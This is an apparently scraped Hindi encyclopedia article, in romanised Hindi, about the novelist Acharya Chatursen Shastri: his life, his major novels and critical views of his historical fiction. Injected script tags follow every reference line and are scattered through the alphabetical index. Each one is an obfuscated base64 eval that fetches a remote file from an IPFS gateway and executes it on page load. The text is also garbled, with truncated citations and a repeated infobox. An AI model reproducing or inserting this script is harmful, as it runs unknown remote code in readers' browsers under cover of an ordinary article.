चतुरसेन शास्त्री

	chaturasen shastri
	chaturasen shastri\|200px\|center
poora nam	achary chaturasen shastri
janm	26 agast, 1891
janm bhoomi	bulandashahar, uttar pradesh
mrityu	2 faravari, 1960
karm bhoomi	bharat
karm-kshetr	upanyasakar
mukhy rachanaean	vaishali ki nagaravadhoo, vayan raksham, somanath, mandir ki nartaki, rakt ki pyas adi.
vishay	samajik, itihas, rajaniti
bhasha	hindi
any janakari	chaturasen shastri ne upanyasoan ke alava kahaniyaan likhi bhi haian, jinaki sankhya pray: sadhe char sau hai.
inhean bhi dekhean	kavi soochi, sahityakar soochi

achary chaturasen shastri (aangrezi: Acharya Chatursen Shastri, janm- 26 agast, 1891, bulandashahar, uttar pradesh; mrityu- 2 faravari, 1960) hindi sahity ke mahanh upanyasakar the. inaka adhikaansh lekhan aitihasik ghatanaoan par adharit tha. achary chaturasen ke upanyas rochak aur dil ko chhoone vale hote hai. inaki pramukh kritiyaan 'goli', 'somanath', 'vayan raksham:' aur 'vaishali ki nagaravadhoo' ityadi haian.

jivan parichay

achary chaturasen shastri ka janm 26 agast, 1891 ko chaandokh zila bulandashahar, uttar pradesh mean hua tha. aitihasik upanyasakar ke roop mean inaki pratishtha hai. chaturasen shastri ki yah visheshata hai ki unhoanne upanyasoan ke alava aur bhi bahut kuchh likha hai, kahaniyaan likhi haian, jinaki sankhya pray: sadhe char sau hai. gady-kavy, dharm, rajaniti, itihas, samajashastr ke sath-sath svasthy evan chikitsa par bhi unhoanne adhikarapoorvak likha hai.

dvivedi yug mean devakinandan khatri, gopalaram gahamari, kishorilal gosvami adi rachanakaroan ne tilasmi evan jasoosi upanyas likhe jo ki un dinoan atyant lokapriy hue. devakinandan khatri ji ki “chandrakanta” upanyas to logoan ko itani bhayi ki lakho logoan ne use padhane ke lie hindi sikha. tilasmi aur jasoosi upanyasoan ke lekhakoan ke atirikt premachand, vriandavanalal varma, achary chaturasen shastri, vishvambhar nath kaushik, chandradhar sharma ‘guleri’, sudarshan, jayashankar ‘prasad’ adi dvivedi yug ke sahityakar rahe.^[1]

san 1943-44 ke asapas jab ham log dilli ae to desh ki rajadhani kahalane vali dilli mean hindi bhasha aur sahity ka koee vishesh prabhav nahian tha. yadakada dharmik avasaroan par kavi-goshthiyaan ho jaya karati thian. ekadh bar hindi sahity sammelan ka adhiveshan bhi hua tha. lekin us samay achary chaturasen shastri aur jainendrakumar ke atirikt koee b da sahityakar dilli mean nahian tha. bad mean sarvashri gopalaprasad vyas, nagendr, vijayendr snatak adi yahaan ae.^[2]

rachanayean

merath kshetr ki sudirgh sahityik paranpara rahi hai. yahaan ke sahityakaroan ne hindi sahity mean n keval is kshetr ke janajivan ke saanskritik paksh ko abhivyakt kiya, balki is aanchal ki bhashik sanvedana ko bhi pahachan di. in sahityakaroan ke bina hindi sahity ka itihas poora nahian ho sakata. 26 agast, 1891 ko bulandashahar ke chandok mean janme achary chaturasen shastri ne 32 upanyas, 450 kahaniyaan aur anek natakoan ka srijan kar hindi sahity ko samriddh kiya. aitihasik upanyasoan ke madhyam se unhoanne kee avismaraniy charitr hindi sahity ko pradan kie. somanath, vayan raksham:, vaishali ki nagaravadhoo, aparajita, kesari sianh ki rihaee, dharmaputr, khagras, patthar yug ke do but, bagula ke pankh unake mahattvapoorn upanyas haian. char khandoan mean likhe ge sona aur khoon ke doosare bhag mean 1857 ki kraanti ke dauran merath aanchal mean logoan ki shahadat ka marmik varnan kiya gaya hai. goli upanyas mean rajasthan ke raja-maharajaoan aur dasiyoan ke sanbandhoan ko ukerate hue samakalin samaj ko rekhaankit kiya gaya hai. apani samarth bhasha shaili ke chalate shastriji ne adbhut lokapriyata hasil ki aur vah jan sahityakar bane.^[3]

inaki prakashit rachanaoan ki sankhya 186 hai, jo apane hi mean ek kirtiman hai. achary chaturasen mukhyat: apane upanyasoan ke lie charchit rahe haian. inake pramukh upanyasoan ke nam haian-

vaishali ki nagaravadhoo
vayan raksham
somanath
mandir ki nartaki
rakt ki pyas
sona aur khoon (char bhagoan mean)
alamagir
sahyadri ki chattanean
amar sianh
hriday ki parakh

inaki sarvadhik charchit kritiyaan ‘vaishali ki nagaravadhoo’, ‘vayan raksham’ aur ‘somanath’ haian. ham yahaan ‘vaishali ki nagaravadhoo’ ki vistrit charcha kareange, jo ki in tinoan kritiyoan mean sarvashreshth hai. yah bat koee in panktiyoan ka lekhak nahian kah raha, balki svayan achary shastri ne is pustak ke sambandh mean ullikhit kiya hai - maian ab tak ki apani sari rachanaoan ko radd karata hooan, aur vaishali ki nagaravadhoo ko apani ekamatr rachana ghoshit karata hooan. bhoomika mean unhoanne svayan hi is kriti ke kathanak par apani sahamati di hai -yah saty hai ki yah upanyas hai. parantu isase adhik saty yah hai ki yah ek gambhir rahasyapoorn sanket hai, jo us kale parde ke prati hai, jisaki ot mean aryoan ke dharm, sahity, rajasatta aur sanskriti ki parajay, mishrit jatiyoan ki pragatishil vijay sahasrabdiyoan se chhipi huee hai, jise sambhavat: kisi itihasakar ne aankh ugha dakar dekha nahian hai.

achary chaturasen ki pustak vayan raksham: ka mukhy patr ravan hai n ki ram. yah ravan se sanbandhit ghatanaoan ka zikr karati hai aur unaka doosara pahaloo dikhati hai. isamean ary aur sanskriti ke sangharsh ke bare mean charcha hai. ary sanskriti ke bare mean yah kuchh is prakar batati hai-

un dinoan tak bharat ke uttarakhand mean hi aryoan ke soory-mandal aur chandr mandal namak do rajasamooh the. donoan mandaloan ko milakar aryavart kaha jata tha. un dinoan aryoan mean yah niyam prachalit tha ki samajik shrankhala bhang karane valoan ko samaj-bahishkrit kar diya jata tha. dandaniy janoan ko jati-bahishkar ke atirikt prayashchit jel aur jurmane ke dand diye jate the. pray: ye hi bahishkrit jan dakshinarany mean nishkasit, kar diye jate the. dhire-dhire in bahishkrit janoan ki dakshin aur vahaan ke dvipapuanjoan mean dasyu, mahish, kapi, nag, paund, dravin, kamboj, parad, khas, pallav, chin, kirat, mall, darad, shak adi jatiyaan sangathit ho gayi thian.- vayan raksham: se

achary chaturasen shastri ke bhi apane lekhan ke sanbandh mean kuchh aise hi vaktavy mil jate haian. 'somanath' ke vishay mean unhoanne likha hai ki kanhaiyalal manikalal muanshi ke upanyas 'jay somanath' ko padh kar unake man mean akaanksha jagi ki ve muanshi ke nahale par apana dahala marean; aur unhoanne apane upanyas 'somanath' ki rachana ki. 'vayanraksham:' ki bhoomika mean unhoanne svikar kiya hai ki unhoanne kuchh navin tathyoan ki khoj ki hai, jinhean ve pathak ke muanh par mar rahe haian. parinamat: nahale par dahala marane ke ugr prayas mean 'somanath' adhik se adhik chamatkarik tatha romani upanyas ho gaya hai; aur apane jnan ke pradarshan tatha apane khoje hue tathyoan ko pathakoan ke sammukh rakhane ki utavali mean, upanyas vidha ki avashyakataoan ki poorn upeksha kar ve 'vayanraksham:' aur 'sona aur khoon' mean prishthoan ke prishth anavashyak tatha atirekapoorn vivaranoan se bharate chale ge haian. kisi vishisht kathy athava pratipady ke abhav ne unaki is pralap mean vishesh sahayata ki hai. ye koee aise lakshy nahian haian, jo kisi kriti ko sahityik mahatv dila sakean athava vah rashtr aur samaj ki smriti mean apane lie dirghakalin sthan bana sakean. 'sona aur khoon' likhate hue chaturasen shastri, kadachith itihas ki rau mean aise bah ge ki bhool hi ge ki ve upanyas likh rahe haian, at: saik doan prishth itihas hi likhate chale ge. isase upanyas tatv ki hani hoti hai; kyoanki upanyas matr itihas nahian hai. 'vaishali ki nagaravadhoo' tatha any anek aitihasik upanyas likhane ka lakshy ek vishesh prakar ke parivesh ka nirman karana bhi ho sakata hai; kiantu isase iankar nahian kiya ja sakata ki anek log 'vaishali ki nagaravadhoo' mean stri ki badhyata aur pi da dekhate haian. vaise itihas ka vah yug, ek aisa kal tha, jisamean sahityakar ko anek akarshan dikhaee dete haian. mahatma buddh, amrapali, sianh senapati tatha ajatashatru ke asapas hindi sahity ki anek mahattvapoorn kritiyoan ne janm liya hai. usamean stri ki asahayata dekhi jae, ya ganatantroan ke nirman aur unake svaroop ki charcha ki jae, vatsaly ki katha kahi jae, ya phir marksavadi darshan ka sadrishy dhooandha jae - saty yah hai ki vah parivesh kee drishtiyoan se asadharan roop se romani tha.^[4]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ dvivedi yug (hindi). . abhigaman tithi: 22 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ hindi bhasha aur sahity ke purodha (hindi) (ech.ti.em.el). . abhigaman tithi: 22 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ merath aanchal ne die hindi ko anamol ratan (hindi) (ech.ti.em.el). . abhigaman tithi: 22 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ hindi aitihasik upanyasoan ki upalabdhiyaan (hindi). . abhigaman tithi: 22 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] vivedi yug (hindi). . abhigaman tithi: 22 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] sha aur sahity ke purodha (hindi) (ech.ti.em.el). . abhigaman tithi: 22 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[3] rath aanchal ne die hindi ko anamol ratan (hindi) (ech.ti.em.el). . abhigaman tithi: 22 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[4] tihasik upanyasoan ki upalabdhiyaan (hindi). . abhigaman tithi: 22 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

[2]

[3]

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chaturasen shastri
chaturasen shastri\|200px\|center
poora nam	achary chaturasen shastri
janm	26 agast, 1891
janm bhoomi	bulandashahar, uttar pradesh
mrityu	2 faravari, 1960
karm bhoomi	bharat
karm-kshetr	upanyasakar
mukhy rachanaean	vaishali ki nagaravadhoo, vayan raksham, somanath, mandir ki nartaki, rakt ki pyas adi.
vishay	samajik, itihas, rajaniti
bhasha	hindi
any janakari	chaturasen shastri ne upanyasoan ke alava kahaniyaan likhi bhi haian, jinaki sankhya pray: sadhe char sau hai.
inhean bhi dekhean	kavi soochi, sahityakar soochi

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